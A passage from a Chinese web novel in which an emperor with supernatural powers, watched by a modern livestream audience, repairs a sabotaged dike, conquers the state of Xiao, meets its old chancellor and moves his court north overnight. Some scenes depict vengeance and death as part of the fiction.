余文彦的表情有一点僵硬,他坚持道:“臣就是去更衣。” 肯定不是去上厕所了,因为已经上完了。 ……这一切都是谢吾德的错! 谢吾德不知道余文彦现在心里有多尴尬,甚至这个受害者还不敢跟谢吾德说他内心的真实想法。 “哦,你稍微等一会,我先找一下这边的主官……”谢吾德看了一眼,虚无的屏幕。 当初是AI提醒他这边出了事。 至于具体过程,谢吾德还没有细看。 现在一看,那个太守已经死亡了。 “不用了,你去上吧。那个太守已经死了。”谢吾德嘀嘀咕咕地继续翻,“我倒要看看这个神人叫什么名字杜充?” 余文彦还是没走,他也想知道这畜生是什么情况。 他看着谢吾德在空气中扒了几下之后愣住了。 余文彦有一点紧张:“陛下怎么了?是又要发生什么事情了吗?” 谢吾德抹了一把脸:“不叫杜充叫蒋充啊……那就难怪了。” 什么二合一。 说的这些话就像是街头听名字算命的老头一样,好像只要给人起个什么名字,对方就一定能够按照这个方向发展,神神叨叨的,非常奇怪。 余文彦还是跑去先换了衣服,他怕自己再待久一点会被谢吾德发现端倪。 谢吾德爱干净得要命,他可不想哪里露馅了,而且和谢吾德呆的越久他就越生气. 林耀祖这段时间总算是凑齐了可以远程直播的点数,她那边的直播系统,本质上就是亚夏给她的。 这样重要的情报,自然也会传给林耀祖一份,方便林耀祖及时进行直播。 直播的观众看着眼前的这一幕,忍不住连连惊呼: 【这在原本的历史上也没有发生啊!】 【主播可是穿越了,而且除了她之外,还有别的穿越者,历史可能早就变了。】 【什么都是一模一样的才奇怪吧。】 【这真是哪个缺德冒烟的家伙干的,别让我知道了,我他妈要去找找这个人的坟,今晚就去刨了。】 【带我一个,带我一个。】 【网络不是法外之地,注意自己的言行。】 【考古系呢?过来合法地刨一下啊!】 其实有的人对于掘了黄河堤坝这件事情没有多少概念,他们就像是谢吾德一样,对这些东西只有一个书面上的了解。 可是知道死多少人与现实看到真的死了人是截然不同的概念。 在亲眼看到这一幕之后,很多人都瞳孔地震。 而亲身经历、真的是与死亡擦身而过的人,更是对那些人恨得咬牙切齿。 没过多久,那些和太守一起炸堤坝的人都被抓住了。 可能百姓做不到如同“手撕鬼子”那样非常有视觉效果的事情,但是他们却能真的能把人的肉一点点撕下来。 这种太过于血腥的事情他们平日里是很难接受的。 他们中固然有一些人会去菜市口看人被砍头,但是真要把场面搞得太恐怖,他们也只会两股战战,完全不想挑战基因中对同类死亡的恐惧。 但是此刻,在他们眼中,能够做出这种事情的人,都不是人。 那不是人,那只是玩意。 谢吾德才懒得管这些尸体之后怎么处理,所以他就任由着其他人随意下手。 场面看上去就颇为不可收拾。 反正等余文彦换完一身衣服出来,都很难辨认出地上的那一滩实际上是人类了。 他深吸了一口气。 【现在这个场面是不是太难看了?如果是谢吾德的话,以他的强大应该能够提前阻止这一切的吧。】 弹幕还是很同情这些百姓的。 好好的在家呆着,没有招谁惹谁,却遇到了这种事情。这实在是太不公平了。 这个世界绝大多数人都是普通人,最能够让他们产生共情的,也只是普通人。 【谢吾德是不是故意的啊?】有人忍不住怀疑道。 这样的对话是会出现在谢吾德的身旁的,所以他能够清晰地看到这些人的对话。 谢吾德瞥了一眼这条弹幕,而发这条弹幕的人手里正拿着手机,被谢吾德这么一看,他忽然冷汗就下来了,不知道为什么他总怀疑谢吾德看的其实是他。 “我什么时候好到让你们觉得我是能够被道德绑架的人了?”谢吾德说。 第107章 发了那条弹幕的人忍不住颤抖了一下,他拿着手机的手开始止不住地颤抖,像是得了病一样。 他像是想要欺骗自己一样,尴尬地又发了一条消息,说道:“应该不是对我说的吧?” “说的就是你,心里还一点数都没有了吗?”屏幕中的青年看着镜头的方向,镜头在幕后人的操纵下本来想要转到一边去,但是谢吾德的手指微微一动,就把那个已经转到一边去的镜头又转了回来。 几乎所有人都噤声了。 就连远在千里之外的林耀祖都猛地往后一撤,险些摔倒在地。 生活现代社会的人大多都听过谢吾德曾经做的事情,还有不少人至今仍把谢吾德奉为神明一般的存在去对待,但是也许是因为他们之前一直把这个世界当成直播,所以不少人逐渐失去了一些对于直播中的人的敬畏。 直播中的人来自过去,他们自己都不知道自己是被人默默注视的,他们就仿佛被操控的人偶一样。 但是现在,这“第四面墙”好像破裂了。 林耀祖的手指开始颤抖。她之前的一些想法越发的被肯定了——谢吾德什么都能看到。 他之前可能只是觉得有趣,所以才装作看不到呢? 到底谁才是那个被人用来取乐的人呢? 谢吾德,还是他们这些看着直播的所有人? 很多人在想到了这一点之后,几乎是不受控制地“啪”的一声关掉了眼前的屏幕,他们的手比脑子快,在看到屏幕黑下去之后大口地喘息着,生怕谢吾德会从屏幕中突然伸出手,抓住他们的脑袋,让他们见识一下谁才是这个世界的真正主人。 谢吾德恶趣味地又帮这些人打开了屏幕连接上了直播,果不其然发现AI帮忙统计的尖叫人数直线上升。 “噗。”谢吾德笑出声来。 “陛下?”余文彦歪了一下自己的头,他不明白谢吾德说的那些话是说给谁听的? 那个方向好像没有什么人,就算有人他们也听不到谢吾德说的话。 谢吾德摆摆手说道:“不是和你说话。” 余文彦这才低下头,在思考谢吾德是真的看到了什么东西,还是只不过是他的例行发癫? 关于谢吾德的一切都好像是被笼罩在一层阴影下,即使作为谢吾德的近臣,他也经常搞不明白谢吾德在想什么。 属于林耀祖那个世界的人变得惊慌失措了起来,但是这只是对普通人而言。 但是对于各国的政府来讲,这本身就在预案之中。 谢吾德是这个世界上唯一确定有这样超自然力量的存在,如果他看不见这个直播的话,那么这个直播是谁做的? 这个直播不像是自然形成的,林耀祖之前提到过在这个直播里她还可以兑换各种东西。 懂得交易高低也算是个智慧生命了。 谢吾德给人的威胁性固然很大,但是这个人又有着一种“单纯”——只要他玩开心了就好 但是如果是未知的力量介入的话,那对方的目的就变得扑朔迷离了。 谢吾德应该不喜欢被控制,他既然不管那就是对方完全在他的掌控之下。 虽然以谢吾德展现出来的能力看,他们也没办法阻止谢吾德,但是谢吾德是已知的,再怎么恐怖的已知也比未知好。 至于为什么不封掉这个直播? 如果能封,他们早就封了。 不封就是风不掉。 他们只能感叹一句:还好,感觉谢吾德对于他们这个世界没有太大的兴趣,不然他早就把手伸了过来。 生活在古代的人,可能还会希望出现类似谢吾德的存在,因为谢吾德可以给予他们粮食、衣服以及生活所需要的一切。 他就是救世主。 但是作为生活在现代的人,他们大多更倾向于追求精神上的娱乐,这是谢吾德不能够给人提供的……或者说不是他想要给人提供的。 普通人大概会觉得现代社会比古代社会好。 生活在现代的普通人在很多生活条件上甚至远胜于古代的皇帝。 谢吾德肯定会对他们这个更加美好的世界感兴趣。 可是谢吾德现在没有出现在现代就是不感兴趣。 有人还在思考,是不是因为谢吾德本来就在现代待过? 他们不觉得谢吾德是全知全能的神,但是他的上限也高到让人难以被看清。 既然现代一片风平浪静,还都可以照常过. 谢吾德很喜欢吓唬人,在满意的收获了一群人的尖叫之后,他让AI给他剪辑一个尖叫合集,他回头睡觉前看看打发时间。 现在更重要的事把堤坝修复好。 谢吾德根本就没有花什么大力气就把堤坝修复好了,甚至这一块要比其他的地方更结实。 如果不是没那个耐心的话,他还可以顺便清一下河道的淤泥。 不过他几乎不做这种细致的工作。 凑合着干了就行,亚夏都不觉得他应该干这活,不仅是不能让人依赖的问题,而是他担心谢吾德会干一半就摆了。 这是谢吾德能干出来的神经事. 驻扎在附近的荣国的大军又招收了一波兵马,都是这附近的百姓。 绝大多数普通人都是想着谁赢跟谁,他们只要能好好过日子就行,别的他们也没能力管。 他们有的时候连自己的生命都无法把握得住,又怎么能指望他们会产生自己能够决定谁赢的想法呢? 但是那位萧国太守做的事情实在是太过分了,他瞬间把普通人的恨意拉满。 别的都不谈,反正蒋充的那一方绝对不能赢。 而且以后只要把蒋充干的事情和别人一说,绝对没有人想要和蒋充站在一面。 除此之外,谢吾德还做了一件在他看来微不足道的小事——他把那位太守给复活了。 这种纯粹的人渣,死一次怎么能够呢? 蒋充睁开眼睛,还没来得及做什么,他就看到一群人红着眼睛看着他。 蒋充一时间还以为自己下了地狱,而其他人是追着他来寻仇的。 从某种角度上来说,这也不算错。 谢吾德很愿意看这种乐子。 他看那些人没有复仇够,所以又把蒋充复活了第三次、第四次……最后干脆就是全自动复活蒋充,把所有人都搞得精疲力竭彻底舒坦了,谢吾德才停止这个法术。 反正到最后谢吾德都没有再看,场面越来越重口味了。 复仇的爽感是甘美的。 蒋充也算是成为了荣国向萧国反攻的“祭品”了。 现在此处,谢吾德甚至获得了更加至高无上的声望. 林耀祖现在已经没有心思去关注荣国反攻萧国的事情了。 她只是看着一脸关心的尔雅,她问道:“尔雅,你觉得如果有一天你知道了陛下其实什么都知道,你觉得怎么办才好?” 尔雅就笑着说道:“那他既然什么都没说,你就当什么都没有发生呗。” 这林耀祖就问对人了。 一些还能坚持住的弹幕也过来安慰林耀祖:【是的,领导什么都没说,那就算是默许你这么做。不用紧张。】 弹幕短时间内已经不想看谢吾德了,这家伙太让人有心理阴影了。 尔雅这种老油条的态度让林耀祖稍微放松一点。 她也不是不明白这个道理,但是在和谢吾德打交道的时候,所要压上去的赌注可能是自己的命。 以前和谢吾德打交道是给人一种仿佛在和老虎打交道的感觉,在和吃饱的老虎混熟之后,也许可以稍微放松点。 但在看到谢吾德能够直接控制住黄河决堤,那她觉得自己和谢吾德打交道时需要提起的警惕就要上升到核弹级别了,甚至核弹可能在他面前都显得有点柔弱了。 她恨不得有一个光是目录就有一本字典厚的指导手册告诉她怎么和这个大爷打交道大爷才不会炸。 林耀祖深深地叹了一口气。 希望如此. 春天彻底来了。 萧国的崩坏进一步加剧。 萧国的许多官员也开始有了二心,他们中很多人都不愿意和萧国这一艘破船一起沉沦。 他们想要的是高人一等,而不是随着一个破烂不堪的国家一起沉沦。 这次崩坏的源头是来自于上层的贪婪。 因为上面的那些大人物想要长生,所以逼反了自己的儿子和孙子。 这种事情说出来都让人觉得可笑。 如此丢人的混乱原因,让人着实是难以抬起头来,这让许多人的背叛变得更加理直气壮了。 所以在荣国大军前进的路上有许多萧国的官员干脆就打开城门,把人放了进来。 一切都仿佛完美地诠释了什么叫“传檄而定”。 荣国是一个缺陷很多的国家,衬得好像萧国是一个十分有前途一样。 实际上,萧国也是破败不堪的,一切只不过是被萧国所取得的一次次胜利所隐藏住了。 萧国皇帝并不是一个英明君主。 萧国的先帝和太后这对母子才是缔造这一切盛世的原因,然而他们在获得胜利之前已经死亡了,这就导致萧国皇帝看上去英明神武了。 更要命的是,萧国皇帝自己也是这么认为的。 然而他只是一个躺在功劳簿上的平庸君主。 当萧国无法再从荣国那里攫取财富的时候就是他们的统治倒计时的时候。 萧国也不是没有能干的官员,但是这其中很大一部分人都是老丞相所选拔出来的人物。 在老丞相辞官之后,他们也都心灰意冷了。 老丞相所挑选的那些人都是萧国的佼佼者,是真的能干实事、脑子又清醒的人。 但是正因为他们能够看得清,所以现在他们很多人都无法再提起为国效忠的心思了。 萧国彻底完了。 第108章 在最后一战中,谢吾德让邱腾作为先锋,先行冲入萧国的都城。 这是萧国最后的防线,他们的抵抗十分激烈,现在还没有跑的都是萧国的死忠。 这注定不会是一场简简单单的战斗。 这一战持续了一天一夜,等着萧国都城被攻下来的时候,已经是第二天的中午了。 即使有新的武器加成,邱腾还是有所损失。 谢吾德一直就在这附近,所以理所应当地在攻陷都城之后被请入城中。 谢吾德漫步在这个都城之中。 之前去逗弄谢瑛的时候就来过,但是之前来只是随便转转,像是大冒险一样满足自己的好奇心。 但是这次来,却是以胜利者的姿态来。 就和当初他以胜利者的姿态成为荣国皇帝一样,现在萧国也有大把的人向他献媚。 他们走在谢吾德身后,谢吾德有点不自然。 虽然他不怕那群人忽然给他来一刀,但是他担心有人会学狗叫掐他腿。 这么多年了,每次有人用这招吓唬他,他都会被吓到。 虽然知道这群人没这个胆子,但是这事是童年阴影。 所以他不喜欢走在别人面前。 谢吾德本来打算把他们赶走的,可是他听到那群人提到之前萧国闹鬼和萧国先帝重新出现还附身到了一个小女孩身上,他忽然觉得自己可以稍微忍一下,因为听上去很好玩。 就算这件事情是他一手参与的,从这群人的角度重新看一遍同样也很有趣。 萧国皇帝在的时候,大家都捧着萧国皇帝说那的确就是先帝,但是现在他人死了,大家脑子里只有一个疑惑——这货当初脑子是抽了什么风? 他到底是怎么想的? 不过这基本上就是事后诸葛亮,当初一个人都不敢说,现在一个个说的头头是道,实在是让人啼笑皆非。 当初大家都以为萧国皇帝是有什么别的依据,知道一些他们不知道的内幕,但是现在看来,那就是纯粹地抽风了,皇帝当久了精神不正常了。 这些萧国的宫人说话还是很有技巧,拍马屁也是一个技术活,他们不能把萧国皇帝完全踩在泥里,这样不仅显得自己不忠诚,还会让荣国皇帝怀疑他们是不是在暗中嘲讽他的对手很菜,所以荣国皇帝也不是一个值得尊重的对手,这就讲究一个拿捏。 谢吾德如果不找茬,他是不会想太多的。 他还挺喜欢听这些小故事的,他一边听一边在皇宫内漫无边际地走着。 AI给他指引了一个方向,告诉他这里有着更有趣的东西,他便顺着这里去了。 萧国的皇宫因为一些微妙的发展方向上的差异以及时间上的差距,所以和谢吾德见过的故宫有着很明显的差距。 萧国的皇宫本身建造时间也没有超过一百年,而在那位已经死掉的萧国皇帝那里,萧国迎来了一次次的高峰,荣国给他们的赔款几乎就没断过,就算大兴土木也能撑得住。 谢吾德上位还不到半年,在谢珖统治时期,荣国还给萧国赔了一笔钱,所以荣国之前赔给他们的钱还没有花完……想到这里,谢吾德猛回头看向了身边的人:“快去看看他们的宝库还有多少钱,那都是朕的钱!” 那个随行的荣国官员也深以为然,不过他们比谢吾德还提早想到这件事情:“陛下,我们已经派人去查点了。” 谢吾德只是忽然想起来有这么一笔钱,实际上他不缺钱,但是他们这些大臣是真的需要资金来管理这个国家的。 谢吾德放心了,然后他非常自然地说道:“应该没人贪墨这笔钱款吧?谁要是贪了谁就连带着全家亲戚做个绝育手术。” 边上的那些官员身下一冷,就连萧国的宫人都缩了缩脖子。 谢吾德继续欣赏着萧国的皇宫。 谢吾德做别的事情没什么耐心,但是欣赏这些艺术的时候总能连饭都懒得吃就这么转到走不动。 这个皇宫一直都有着大笔的资金进行维护和翻修,在很多细节上也有一点来自北方和西方这些游牧民族的感觉。 这个年代没有职业导游,不过萧国的这些宫人有人就是对这些细节了如指掌,他们见谢吾德感兴趣,就像是私人导游一样为谢吾德讲解,谢吾德也不指望自己能全部听懂,反正他不求甚解,大致清楚就行。 就连平时总是嚷嚷着没空和谢吾德一起玩的亚夏和温特,都用谢吾德的视角开始研究起了这些东西。 这个世界是用计算机演化生成出来的,但是演算出来的思路也是可以参考的,这种设计思路也能用在其他地方。 他们多少也是兼职半个艺术家。 说起艺术家皇帝……谢吾德忽然又觉得有点晦气了。 谢吾德顺着中轴线往前走着,萧国的皇宫依旧遵循着最简单的对称原则,在他往前走过大殿之后,他忽然看到了前面有一个影子。 那个影子背着双手,静静地站在那里,他像是一颗沉默的石头一样,只有略显凌乱的头发才让他看起来有点像是人。 夕阳打在他的身上,投下了一片晦暗沉重的阴影。 谢吾德停下了脚步,隔着十几米的距离和对方对视,他眼神不好,其实是看不清的,但是他对气质的感知能敏锐地发现眼前的人绝对不是普普通通的宫人,也不是普普通通的官员。 一般的官员是不会在此时此刻站在这里的。 这无疑是对谢吾德的一种隐晦的挑衅。 谢吾德支着下巴想了一会说道:“你是萧国的忠臣吗?我还以为萧国的忠臣已经在前不久的攻防战里全都死完了。” 谢吾德说完这句话才发现自己这话说得有点过分阴阳怪气了。 不过谢吾德觉得自己说就说了,也无所谓。 “您就是荣国的那位皇帝吧。”那人开口,声音意料之中的苍老,谢吾德眼神不好但是也能看出对方的头发花白。 他很平静,也没有动怒,这份平静让人立刻意识到了他的身份绝对不简单。 “嗯哼。”谢吾德看着这个老人,眨着自己的眼睛,等着他的后半句话。 老人也看着谢吾德,似乎是想等着谢吾德先开口,但是他没想到谢吾德似乎真的没有什么话想说。 他颓然地垂下了头:“老朽是萧国的前丞相。” 他刚才试图回应谢吾德的阴阳怪气,可是谢吾德一副没听明白的样子,这让他好像一拳打在了棉花上。 对于他们这些人来说,不担心敌人牙尖嘴利,就怕敌人眨巴着无辜的眼睛看着他。 谢吾德继续歪着头看着对方。 余文彦今天没有跟上来,他得处理萧国投降后的种种事务,谢吾德没说他是丞相,也没说他不是丞相,既然如此他就做事实上的丞相,他很忙,所以跟过来的是李真和谢萍还有谢瑛。 他们在听到“萧国前丞相”这个身份的时候,都用一种复杂的眼神看着这个老人。 萧国的这位老丞相,堪称是萧国最后能够力挽狂澜的存在。 如果没有那个莫名其妙的长生传说,那恐怕萧国也不会变成现在的这个样子。 萧国皇帝不是什么好东西,可是这位老丞相是十分值得敬重的,就算是作为荣国人,很多人也听过萧国丞相的贤名,甚至有人感叹为什么萧国丞相不是他们的丞相。 即使萧国丞相是敌人,也是值得尊重的敌人。 他会输,一半是因为遇到了萧国皇帝这个猪队友,另一半则是遇到了谢吾德这种乱拳打死老师傅的奇葩家伙。 不然只要他不死,萧国皇帝就不会作到这种程度,萧国也不会莫名其妙地被毁灭。 老丞相是真的有资格说一句“时运不济”。 谢吾德继续歪着头看着这个老丞相。 然后呢? 谢吾德觉得自己没什么想说的。 他一直都讨厌酒桌客套话的。 他要是说什么话,那绝对要掺上至少百分之八十的真心。 可是他对萧国最大的印象就是“萧国”这两个字了。 老丞相看着谢吾德,最后给自己看无力了。 他原本以为萧国皇帝已经够奇葩的了,谢吾德看上去比萧国的皇帝更加奇葩。 他原本还在想,这一切有没有可能是荣国皇帝的阴谋,但是现在看来,荣国皇帝对一些细节都不甚了解。 这让萧国的这位老丞相感觉心里更加憋屈了。 他们的敌人根本就没有把他们放在眼里,而且傲慢敌人也完全不精明,好像是非常容易掌控的类型。 然而他们就是输给了这样的人。 “你找我有什么事吗?”谢吾德今天心情很好。 征服他人或者他国,对他来说并不罕见,但是作为皇帝征服其他国家还是第一次,所以他才能够站在这里听着这个老丞相说话。 “真没有想到……”老丞相意味不明地说了一句。 “没有想到居然是朕亲自来征服你的吗?”谢吾德洋洋得意地说道,“你们很荣幸了。” 谢吾德真心实意地这么想。 亚夏和温特尴尬地关了一会屏幕转了几个圈才冷静下来。 这货被扭曲的方向太自恋了,他们顶不住。 李真却想:怕是没想到击败他们的居然是谢吾德这样的癫子,让这一位老丞相觉得心气不平吧。 不过谢吾德很自信,他才不会联想到这里呢。 老丞相看着谢吾德,最后无奈地说道:“我只是想要看看,是什么样的人能够击败我们的萧国。” 老丞相看着谢吾德得意的样子,半晌,他低着头,从怀间拿出了一把匕首,对准了谢吾德。 第109章 其他人都警惕地伸手想要拦住这位老人。 虽然这位老丞相精神看上去还算是正常,但是任谁看到自己的国家破灭,恐怕都很难保持住真正的镇定,搞不好就会决死挣扎一番,杀死谢吾德。 以萧国丞相的心气,他是真的会这么做的。 谢吾德一动不动。 老丞相看着谢吾德,又问:“你为什么不害怕?” “我为什么就要害怕你?”谢吾德害怕狗,害怕蛇,但是他从来就没有害怕过人。 老丞相又无奈地摇了摇头:“陛下好胆色。” 谢吾德掏掏耳朵。 “这天下以后大概就是荣国的天下了……”老丞相看着谢吾德的眼睛,似乎想要嘱托一些什么。 萧国皇帝死了,可是他还是有很多放不下的事情。 比如说那些对先帝忠心耿耿的将领,萧国兢兢业业的臣子和那些普普通通的黎民百姓。 萧国丞相和萧国的先帝从来都没把自己当成普普通通的少数民族政权,他们想要做的是这片土地的统治者,所以说来可笑,他死之前挂念的是这片土地上所有的人。 他想要从谢吾德口中得到一些承诺。 李真听得颇为不耐。他说:“你又是以什么身份来指点陛下呢?” 不过是败军之将,怎么有资格理所应当地去点评谢吾德应该做什么? 谢吾德也觉得他没有直接说“啰啰嗦嗦说些什么呢?如果想要自尽,那就快点自尽呢”就已经很客气了。 “就不劳你费心了。反正你说了我也不会听,我以前怎么样,现在就怎么样。”谢吾德这自我的表现,让萧国的老丞相一噎,“我不需要任何人指点我去怎么做。” “朕想做的朕肯定会去做。”谢吾德扬扬下巴。 老丞相深深地吐出了一口气。 他看着那把匕首,又深深地看了一眼这个世界。 他自刎了。 他不可能在荣国的统治下苟活的。 亚夏和温特都叹了口气。 英雄迟暮,美人白头固然令人惋惜,但不如创业未半,中道崩殂,更不如亲眼看到故国的江山破碎。 谢吾德回头看着已然要落山的太阳,跟身边的人说道:“把他好好埋葬了吧。” “好好埋葬。”谢吾德强调了一句。 谢吾德不会因为欣赏一个人而停手,但是这位忠心耿耿的老丞相至少值得一个相对体面的结局。 总不能像那个萧国皇帝一样。 生前因为光学伪装看上去十分年轻,死后却有人想从他身上撕下肉来。 不是出于恨意,而是出于纯粹的、令人毛骨悚然的贪婪,他们把萧国皇帝的肉炼成了丹药。 这甚至比险些被蒋充淹死,最后被处以极刑的百姓还要恐怖。 百姓们不过是希望他得到他们每一个人的报复,他们只是希望以眼还眼,其实并不贪婪,只是蒋充作为一个个体完全无法承受数万甚至是数十万百姓的怒火。 但是萧国拿皇帝炼丹的家伙是纯粹的丑恶。 最后还是老丞相出面,才制止了他们连皇帝的骨灰都一并吞了。 老丞相出手已经很快了,但是人心的贪婪是不需要传递的。 这是萧国的秘密,也是这个王朝最为丑陋的一面。 若非谢吾德在此,恐怕几百年后,也只能在野史的只言片语中窥见真相了. 余文彦其实不太希望谢吾德将老丞相风光大葬,至少不能弄得声势浩大。 这样一来,有了老丞相这个已逝的精神领袖,恐怕会有许多人借题发挥,再生事端。但谢吾德做事向来不讲究大局,他只要觉得可以,那就可以。 他觉得这位老丞相至少展现出了能让他欣赏的气节,那他就会给予尊重 谢吾德听见余文彦在一旁小声嘀咕:“您就算放在心上,恐怕也记不住他的名字吧。” 确实不知道。 谢吾德都没升起问问他姓名的念头。 早晚都会忘记的事情没必要记住。 谢吾德不在意余文彦这点顶撞。 他当初把余文彦留在身边,就是因为这家伙时不时会吐槽,深得他心。 谢吾德是故意表现得离经叛道的。 只有被吐槽了,他才能从自己的行为中获得一些乐趣。 若像他那些信徒一般,无论做什么都只会无脑吹捧,谢吾德才懒得和他们玩。 余文彦将各部整理出的资料呈到谢吾德面前。 谢吾德抽出一沓消毒湿巾,在萧国皇帝的桌面上抹了抹,这才坐上去,示意余文彦帮他翻看。 萧国这次内乱影响范围其实很小,基本集中在萧国上层,是一场子辈孙辈对父辈的复仇,堪称超级加强版的“玄武门之变”,但是对百姓并无多少波及,荣国也可以顺顺利利地接手萧国现有的所有财富。 余文彦一边翻着文书,一边用眼角余光瞟着谢吾德。 谢吾德把东西往边上一丢,然后打了个哈欠,看起来像是在发呆,然后他注意到了余文彦的视线:“你瞅啥?” 余文彦道:“陛下没什么想做的事了吗?” 他当然不敢直视谢吾德,但那一瞟一瞟的眼神格外引人注意。 “你怎么会觉得我想做什么事?”谢吾德有点纳闷。 这不废话吗?余文彦腹诽,面上却恭敬:“陛下您哪次不是一波未平一波又起?这次攻占萧国,若就这么结束,反倒稀奇了。” ……其实也不怎么恭敬。 他用一种幽怨的眼神看着谢吾德。 谢吾德被他看得想笑:“你不提醒我,我还差点忘了。朕确实有点事想做。” 他有点期待地看着余文彦,想从他脸上看到懊悔的神色——后悔自己为何要多嘴提醒这一句。 但余文彦已经习惯了。 意料之中的事情无需惊讶。 他就算真的现在忘了,过一会想起来也可以随口吩咐他们的。 反正不碍谢吾德的事。 不过,他若就这么平静接受,谢吾德肯定会觉得他没意思,说不定就把他踢到一边。 于是他非常有眼色地补充道:“陛下,您这么折腾人,什么时候能给我们发一下您口中的所谓‘加班费’?” “哎呀,现在是封建时代,不要搞那么先进的资本主义了。”谢吾德摆摆手,“请叫我剥削与压迫之神。” 余文彦看着谢吾德,很想问一句:您就没有别的名号可用了吗?怎么就叫“剥削与压迫之神”?他从未听过天上哪路神仙以此为号,透着一股读书不多的美。 哎。 这是真的不能吐槽的话。 说这话谢吾德是真的会生气的。 余文彦干的不仅是丞相的活,还顺便兼了幼师的活。 谢吾德就像个需要人哄的孩子,十分令人发愁. 谢吾德要搞的新幺蛾子,是迁都。 别的皇帝迁都,需考虑人口迁移、经济协调、南北统合。 谢吾德考虑的就简单多了:现在春天了,等到了夏天,南方就太湿热了。 虽然北方夏天也好不到哪去,谢吾德自己会开启恒温模式,但南北之间“小动物”也有差别。 不是指毛茸茸可爱的那种,而是指草丛里出没的各种虫子。 北方没那么多蜈蚣,这玩意太吓人了。 虽然蚰蜒也挺可怕的,但是谢吾德和这玩意还算熟。 谢吾德不是正经人,但他的大臣们勉强都算正经。 当他们听到谢吾德想用这种理由迁都时,九十九个不同意,剩下那一点同意,还是因为他们觉得自己根本拦不住。 而且搞不好,谢吾德就是想要他们狠狠反对一波,这才好再次下手。 这都是谢吾德能干出来的事。 谢吾德这次却显得颇为好脾气:“没关系的,朕是个好说话的人。这样吧,用脚投票:你们谁同意迁都,就搬到北方去。去的人超过半数,朕就当你们同意了。” 所有人面面相觑。 这事对他们这些反对派太有利了,绝大多数人仍倾向于不改变现状。 谢吾德都这么说了,他们若再反对,就显得不识抬举了。 不过当天晚上有约三成的人连夜离开京城,向北出发。 这个数字不算少。 剩下的人觉得谢吾德不会说话不算话,既然说了把选择权给他们,总不好事后恼羞成怒;离开的人则觉得还是谨慎为上,谢吾德给脸了,他们不能不要脸。 事实证明,谢吾德从来都不给人真正的选择的。 那些不选择离开的人第二天收到了一个“巨大”的惊喜。 他们是被料峭春寒和嘈杂人声弄醒的。 睁开眼时,他们已身处陌生的街头,身下垫着自己的垫子,身上盖着自己的被子。 街道上有人探头张望,那些人的衣着与京城附近有明显区别,那些人看着他们,窃窃私语——这就是这嘈杂人声的真正来历。 大臣们立刻清醒了——自己怎么睡在大街上? 等他们翻身起来,又和自己的妻妾、同僚面面相觑。 大家都意识到一件事:他们半夜被人“挪”到了北方。 谢吾德说“用脚投票”,但也没说不能搞强制迁移。 就说这些人的脚现在在不在北方吧。 城中的百姓们真是一觉醒来,天都变了。 当初荣国进攻萧国时,他们都没这么震撼。 他们原以为荣国攻破萧国就足够惊人了,万万没想到一夜之间,萧国皇宫就变了样。 整个皇宫向上抬高了近百米,风格也发生了改变。 主要材料不再是传统的木头,而变得如白玉一般,色泽花样虽不如以前繁复,却显得简洁大气。 谢吾德到底是个现代审美,看腻了缤纷色彩,只想要简约干净的东西。 他扒拉了一遍设计图,用一晚上把这皇宫直接投入使用了。 谢吾德很满意,但是快要被冻成狗还要来上朝的大臣们很不满意。 第110章 一群大臣黑着脸上了朝。 他们不敢对谢吾德大小声,但任谁一睁眼发现自己睡大街,都高兴不起来。 他们身上衣服凌乱不堪。 一般来说,御史肯定要弹劾他们衣冠不整,但现在,连本来要弹劾人的御史自己也只穿着亵衣。 北方的春天依然寒冷,这群人冻得哆哆嗦嗦,之后恐怕还得生一场大病。 这还没完。 上朝时,他们又听见那位并不亲爱的皇帝谢吾德在那说:“诸位爱卿,觉得朕这次弄的皇宫怎么样?是不是比锦京那个好看多了?” 所有人都浑身一个激灵。 爱卿? 这话从谢吾德嘴里说出来实在是太恐怖了。 从他登基以来就没听过他说爱卿,现在说“爱”就跟渣男说“我爱你”一样,准没好事。 但是面对渣男的时候,只要意识到了渣男有问题就可以抽身离开。可是当这位渣男是皇帝的时候,大家就只有把话憋在心里的份。 余文彦算是运气不错的一批,或者说,他太了解谢吾德折腾人的功力了。 谢吾德怎么可能简简单单屈服于区区“民意”? 谢吾德比一般人要纯粹得多。 没那么好,但是也没那么坏。 不像很多人那样在善与恶之间飘忽不定,还会因为种种因素转变自己的立场。 他只站在自己那边。 不按他的意思做绝对会倒霉。 余文彦是连人带马车一起被卷到燕京的,上朝的行头都还在,所以他属于那三成中还能衣冠相对整齐的人。 他看着同僚们,心里只有一种想法:怎么就学不乖呢? 这么久了,还没认清谢吾德是什么人吗? 这群家伙,活该倒霉。 余文彦都懒得同情他们了。 谢吾德什么时候尊重过别人的意见? 当你觉得他好说话的时候,反而更要警惕他是不是又要折腾出什么幺蛾子了。 大臣们也不是一定要去上朝,可是今天谢吾德说是要论功行赏,萝卜吊在面前,他们哪舍得回家,生怕谢吾德一看他们不在,就高高兴兴地取消了他们的封赏。 一般皇帝不会做这样离谱的事情。可是还是那句话,谢吾德都把他们直接从锦京丢到燕京大街上了,他还有什么事情做不出来? 谢吾德就是想要看他们丢人,他们自然只能硬着头皮来了。 谢吾德欣赏了一下他们尴尬的样子,就开开心心地开始了今天的朝会。 覆灭萧国的最大功劳属于谁? 从最后的结果直接看,除了谢吾德之外,似乎功劳最大的是萧国的皇帝——如果不是这位绝代“猪队友”的话,萧国很难会是现在的样子。 谢萍和谢瑛似乎也发挥了不小的作用。 这对相处起来是姐妹、实际上是没有年龄差距的长辈和晚辈的难姐难妹,货真价实地发挥了不小的作用。 整个萧国上下被她们两个搅得人心惶惶,丑态百出。虽然整件事情充满了意外,但是这并不影响最后的结果。 谢吾德不清楚自己应该给什么样的赏赐,没人教他当皇帝,他也不希望有任何人过来教他当皇帝。 但是在他听说谢萍和谢瑛这对姐妹并不是公主的时候,他非常干脆地给她们封了公主之位。 刚刚被谢吾德收拾了一番的臣子们也不敢有什么意见。 虽然在他们看来谢萍并不姓谢,她是一个父不详的女孩,她是跟着她的母亲姓。 不过这种事情就算落在一般强势皇帝身上,他们也不会太过于在意。 只要皇帝点头,那谢萍和谢瑛就是自己人。 谢萍、谢瑛对这个结果满意到了忐忑的地步。 这虽然完全没办法弥补她们过去所遭受的一切,但是这也算是她们能够得到的最好的待遇了。 至少以后不需要担心别人说她们什么,如果有人想要刁难她们的话,她们可以直接用公主的这个身份压过去,而且以后有想要办的事情,也可以更加轻松地达到自己的目的。 谢吾德也没有忘记邱腾。 这次邱腾做出的贡献看似并不多,但是他所建立的东西造成的影响,要远比谢萍和谢瑛更加长远和稳固。 在他的手下,火枪有了雏形,军队的水平有所提升。 就算谢吾德不在了,这个国家也会因为邱腾所作出的贡献而受益。 